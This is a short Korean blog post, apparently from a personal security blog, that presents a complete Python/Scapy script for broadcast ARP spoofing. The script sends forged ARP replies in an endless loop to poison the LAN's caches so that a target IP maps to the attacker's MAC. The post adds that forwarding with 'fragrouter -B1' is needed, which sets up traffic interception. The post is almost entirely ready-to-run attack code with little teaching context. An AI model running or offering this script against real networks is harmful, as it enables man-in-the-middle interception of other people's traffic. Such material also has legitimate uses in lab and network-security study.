Self-Improvement
Scapy로 Broadcast 방식의 ARP Spooing 코드 본문
fragrouter -B1과 같은 포워딩은 따로 필요
from scapy.all import *
from colorama import Fore
import os
import sys
if len(sys.argv) is not 4:
print(Fore.YELLOW+"[-] Example : python broadARP.py <INTERFACE> <MY MAC> <TARGET IP>"+Fore.RESET)
sys.exit()
iface2=sys.argv[1]
mymac=sys.argv[2]
targetip=sys.argv[3]
os.system("ifconfig | grep broadcast | awk '{print $6}' > broadip.txt")
f2=open("broadip.txt",'r')
broadip=f2.readline().replace("\r\n",'')
f2.close()
os.system("rm broadip.txt")
ssdpRequest=Ether(dst="ff:ff:ff:ff:ff:ff", type=2054)/ARP(hwdst='00:00:00:00:00:00', pdst=broadip, ptype=2048, hwtype=1, hwlen=6, plen=4, hwsrc=mymac, psrc=targetip, op=2)
print(Fore.YELLOW+"[+] Start : Broadcast ARP SPoofing"+Fore.RESET)
sendp(ssdpRequest, iface=iface2,loop=1, inter=0.5, verbose=1)
print(Fore.YELLOW+"[-] END : Broadcast ARP SPoofing"+Fore.RESET)
'scapy' 카테고리의 다른 글
Scapy로 Wireless 패킷을 만드는 예제 모음 (0) | 2021.06.08 |
---|---|
Scapy 사용법 7 (간단한 fuzz, ARP cache poisoning, VLAN Hopping) (0) | 2018.10.22 |
Scapy 사용법 6 (패킷 제작) (1) | 2018.10.22 |
Scapy 사용법 5 (sniff) (0) | 2018.10.22 |
Scapy 사용법 4 (ICMP, TCP, UDP ping scan) (0) | 2018.10.22 |